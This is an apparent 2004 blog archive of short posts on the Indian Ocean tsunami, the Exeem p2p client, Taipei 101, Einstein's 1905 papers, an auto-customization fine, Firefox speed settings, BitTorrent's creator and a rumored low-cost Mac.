Animals certainly rely on the known senses such as smell or hearing to avoid danger such as predators. The notion of an animal sixth sense -- or some other mythical power -- is an enduring one which the evidence on Sri Lanka's battered coast is likely to add to.

The Romans saw owls as omens of impending disaster and many ancient cultures viewed elephants as sacred animals endowed with special powers or attributes.

The tsunami was triggered by an earthquake in the Indian Ocean Sunday, killing tens of thousands of people in Asia and East Africa.

Just goes to show you that animals actually do have a 6th sense for these sort of things. Too bad it obviously can't be tested in the lab.

Birds eye view of Tsunami disaster

2004-12-31T10:24:00.000+01:00

The BBC has a good overview taken by satellite of the damage the tsunami caused to the tourist reort town of Kalutara, Sri Lanka. Before and after pictures that really show the damage.

For some even more impressive pictures check out digitalglobe.

Exeem "Successor" to Suprnova Announced

2004-12-31T10:16:00.000+01:00

It looks like suprnova is going to get a successor. The following was announced by Sloncek on irc.suprnova.org:

First, Exeem really isn't an extension of Suprnova as the hype might have you believe: the connection between the two seems more marketing than anything else. Sloncek has been hired to promote their product as the heir apparent to his popular website, but his involvement really seems to be almost entirely PR. It'll work obviously: my headline on this story mentions Suprnova, and so will hundreds of websites around the world in the coming days. "Yet another p2p app" would not create anywhere near the waves that "Successor to Suprnova Announced" will. I hope that people judge exeem by its own merits and not by its (clever) marketing.

Second, Exeem is pretty much what was rumored earlier: a blending of the tracker, the BitTorrent client, and decentralized indexing. It's Windows only. It's in beta now, and will be out at some indeterminate date in the future. It also has a rating and commenting system which appears to be somewhat rudimentary. It's unclear to me if the rating system will be as useless as other attempts, and I think this is the critical thing: Suprnova succeeded because the content available on it was verified and trustworthy. Suprnova was as much the work of a few dozen editors as it was a list of torrent URLs. So far no other p2p system has achieved that level of accuracy. Exeem supports magnet sites which is a start, but not exactly p2p either. And did I mention that it's adware?

Third, there's a mystery company. Someone is paying Sloncek. He won't say who, but there's a history in the p2p world of secretive development. Since Exeem is to be adware, someday it will have a billing address, which means the legal issues faced by predecessors like Napster and Kazaa will be forthcoming, which is of course why we have a mystery company that Sloncek won't talk about in the first place. We definitely haven't heard the last of this.

Personally I was hoping for more: source code and cross platform compatibility never hurts. These are the things that made BitTorrent a huge success. I guess I was hoping for a new protocol instead of just another Kazaa. I guess I was hoping for a monumental leap, and instead Exeem to be a more incremental step. I'm sure we'll learn more in the coming weeks.

Tallest building in the world opened

2004-12-31T10:09:00.000+01:00

Seems that the tallest building in the world has opened it's doors in Taiwan.

At 101 floors and 508 meters the 'Taipei 101', as it's known pushes the boundaries of what can be achieved even more. At 1.3 billion euro's I hope they get their moneys worth.

100 years after Einstein

2004-12-30T22:06:00.000+01:00

Seeing that it's 100 years now since Einsteins "miracle year" The Economist has written a piece outlining some of his theories and what he accomplished. An excerpt:

IN THE span of 18 months, Isaac Newton invented calculus, constructed a theory of optics, explained how gravity works and discovered his laws of motion. As a result, 1665 and the early months of 1666 are termed his annus mirabilis. It was a sustained sprint of intellectual achievement that no one thought could ever be equalled. But in a span of a few years just before 1900, it all began to unravel. One phenomenon after another was discovered which could not be explained by the laws of classical physics. The theories of Newton, and of James Clerk Maxwell who followed him in the mid-19th century by crafting a more comprehensive account of electromagnetism, were in trouble.

Then, in 1905, a young patent clerk named Albert Einstein found the way forward. In five remarkable papers, he showed that atoms are real (it was still controversial at the time), presented his special theory of relativity, and put quantum theory on its feet. It was a different achievement from Newton's year, but Einstein's annus mirabilis was no less remarkable. He did not, like Newton, have to invent entirely new forms of mathematics. However, he had to revise notions of space and time fundamentally. And unlike Newton, who did not publish his results for nearly 20 years, so obsessed was he with secrecy and working out the details, Einstein released his papers one after another, as a fusillade of ideas.

Well worth a read if like me you're a layman when it comes to physics.

You have the right to unpimp your ride

2004-12-30T18:28:00.000+01:00

Seems like the fellas from West Coast Customs (pimp my ride) got fined $16.000 by the goverment for safety violations.

I wonder however the goverment found out.... More info here. For those of you who don't like registering, here is the full article:

=========

Custom Rims, Yes; TV in Steering Wheel, No
By DANNY HAKIM

Published: December 30, 2004

DETROIT, Dec. 29 - Pimp the ride, pay the price.

In the first of what is expected to be a broader crackdown against auto customization shops, federal regulators on Wednesday imposed a $16,000 fine on West Coast Customs, the auto body shop affiliated with "Pimp My Ride," an MTV reality show that makes over rundown cars.

The shop, which has customized sport utility vehicles for customers like Shaquille O'Neal, was fined for removing front air bags in cars to install video screens in steering wheels.

Another celebrity shop, Unique Autosports in Uniondale, N.Y., was fined $5,000 for a similar offense. A reality show featuring the shop, to be called "Unique Whips," will be shown on the Speed Channel, a cable automotive channel, in February.

Rae Tyson, a spokesman for the National Highway Traffic Safety Administration, said the fines were the first of what was expected to be a larger crackdown on car customizers who were disabling safety equipment.

Regulators have noticed that front-seat video screens have become one offshoot of the car customization boom. While the safety agency does not have jurisdiction over installing video monitors in cars and trucks after they have been manufactured, they do have jurisdiction over tampering with safety equipment such as air bags.

"We're actively pursuing several others," Mr. Tyson said, "It's not only a bad idea to disable the air bag, it's against the law. Air bags are there for a purpose, to protect you. If you have a DVD player there instead of an air bag, it's not going to protect you in a crash."

Calls to West Coast Customs, of Inglewood, Calif., were not returned. Will Castro, the proprietor of Unique Autosports, said, "I have no comment."

Mr. Castro has done customization work for stars ranging from the entertainer Jennifer Lopez to the rap artist Eminem, according to a recent news release from the Speed Channel.

Employees of West Coast Customs are regularly featured on "Pimp My Ride" performing automotive miracle work, and seven of them are profiled on MTV's Web site.

Most states have laws against watching televisions in the front seat, though many of the laws have not been updated to include DVD players and other new technologies. New York law prohibits cars from being "equipped with a television receiving set within view of the operator." But an updated California law that took effect in January bans most video functions in the front seat, including DVD players, with the exception of such technologies as navigation systems.

Automakers often install video screens for passengers in the front seat, but only features like navigation systems or stereos can typically be operated while the car is in motion, though the proliferation of electronic controls in luxury cars is also the focus of scrutiny by safety researchers.

"We know that all kinds of distractions can be a problem, but it would be hard to think of something more distracting than watching a video while you're driving," said Anne McCartt, a vice president for research at the Insurance Institute for Highway Safety, a group financed by car insurers. "It's a really worrisome trend."

She said swapping an air bag for a video screen was even more disturbing.

"It's taking out a safety device that has proven lifesaving benefits," Ms. McCartt said, "and replacing it with something that could clearly be distracting and potentially dangerous."

In recent years, car customization has becoming a booming business, and TV shows chronicling cool cars and car makeovers have proliferated, including "Overhaulin' " on TLC and "Ride with Funkmaster Flex" on Spike TV. Over the last decade, annual spending on after-market car parts and accessories has doubled to $28.9 billion a year, according to the Specialty Equipment Market Association.

"Pimp My Ride" on MTV - with its host, Alvin Joiner, a Detroit native better known as the rapper Xzibit - is a feel-good show in which 18- to 22-year-olds are invited to submit their dilapidated cars or trucks for a major retrofit by West Coast Customs.

In one episode, for instance, a sad-looking 1989 Ford Mustang was remade to include a photo booth built into the passenger side with a camera in the visor and a printer in the center armrest.

Safety investigators, however, were drawn to West Coast Customs not by something that occurred on the MTV program but by an advertisement on the shop's Web site.

"There's nothing wrong with customization," said Mr. Tyson, of the traffic agency, "as long as you don't disable safety equipment."

The kings salary open for all to see

2004-12-30T18:11:00.000+01:00

The BBC reports that in an unprecedented move the king of Morocco's salary has been published. It seems that the guy earns a modest $45.000 / month. That's less than a typical Fortune 500 CEO earns and certainly less than some other Arab kings & sheikhs earn.

This is a very bold move for an Arab head of state, although I don't see this catching on. Certain sheikhs would probably be posting numbers in the hundreds of millions......

BTW It must also be noted that the royal court spend a whopping $250 million annually, although the article doesn't state what on.

Put Firefox on speed

2004-12-30T16:58:00.000+01:00

Seems that the fellows at forevergeek.com have written a little tutorial to make Firefox faster. It basically comes down to setting it to pre-emptively cache more data while you're surfing:

1.Type about:config into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipelining network.http.proxy.pipelining network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set network.http.pipelining to true

Set network.http.proxy.pipelining to true

Set network.http.pipelining.maxrequests to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it nglayout.initialpaint.delay and set its value to 0. This value is the amount of time the browser waits before it acts on information it receives.

If youre using a broadband connection youll load pages MUCH faster now!

The BitTorrent Effect

2004-12-29T17:06:00.000+01:00

Wired has written an interesting piece on Bram Cohen and his baby (for those who don't know, it's bittorrent). An excerpt:

"That was a bad move," Bram Cohen tells me. We're huddled over a table in his Bellevue, Washington, house playing a board game called Amazons. Cohen picked it up two weeks ago and has already mastered it. The 29-year-old programmer consumes logic puzzles at the same rate most of us buy magazines. Behind his desk he keeps an enormous plastic bin filled with dozens of Rubik's Cube-style twisting gewgaws that he periodically scrambles and solves throughout the day. Cohen says he loves Amazons, a cross between chess and the Japanese game Go, because it is pure strategy. Players take turns dropping more and more tokens on a grid, trying to box in their opponent. As I ponder my next move, Cohen studies the board, his jet-black hair hanging in front of his face, and tells me his philosophy of the perfect game."The best strategy games are the ones where you put a piece down and it stays there for the whole game," he explains. "You say, OK, I'm staking out this area. But you can't always figure out if that's going to work for you or against you. You just have to wait and see. You might be right, might be wrong." It's only later, when I look over these words in my notes, that I realize he could just as easily be talking about his life.

Bram Cohen is the creator of BitTorrent, one of the most successful peer-to-peer programs ever. BitTorrent lets users quickly upload and download enormous amounts of data, files that are hundreds or thousands of times bigger than a single MP3. Analysts at CacheLogic, an Internet-traffic analysis firm in Cambridge, England, report that BitTorrent traffic accounts for more than one-third of all data sent across the Internet. Cohen showed his code to the world at a hacker conference in 2002, as a free, open source project aimed at geeks who need a cheap way to swap Linux software online. But the real audience turns out to be TV and movie fanatics. It takes hours to download a ripped episode of Alias or Monk off Kazaa, but BitTorrent can do it in minutes. As a result, more than 20 million people have downloaded the BitTorrent application. If any one of them misses their favorite TV show, no worries. Surely someone has posted it as a "torrent." As for movies, if you can find it at Blockbuster, you can probably find it online somewhere - and use BitTorrent to suck it down.

Apple to release El Cheapo PC

2004-12-29T15:15:00.000+01:00

Looks like apple is about to announce a new bare bones G4-based iMac at Macworld Expo on January 11.

The thing is expected to retail for $499 and is expected to include the following:

1.25 GHz G4 processor
DvI / VGA Output
40 - 80 GB hard drive
256MB of RAM
USB 2.0
FireWire 400
10/100 BASE-T Ethernet
56K V.92 modem
AirPort Extreme support

The new Mac is said to be incredibly small and will be housed in a flat enclosure with a height similar to the 1.73 inches of Apple's Xserve. Its size benefits will include the ability to stand the Mac on its side or put it below a display or monitor.

For more info check out thinksecret.com. This thing has "new unix workstation" written all over it ;-)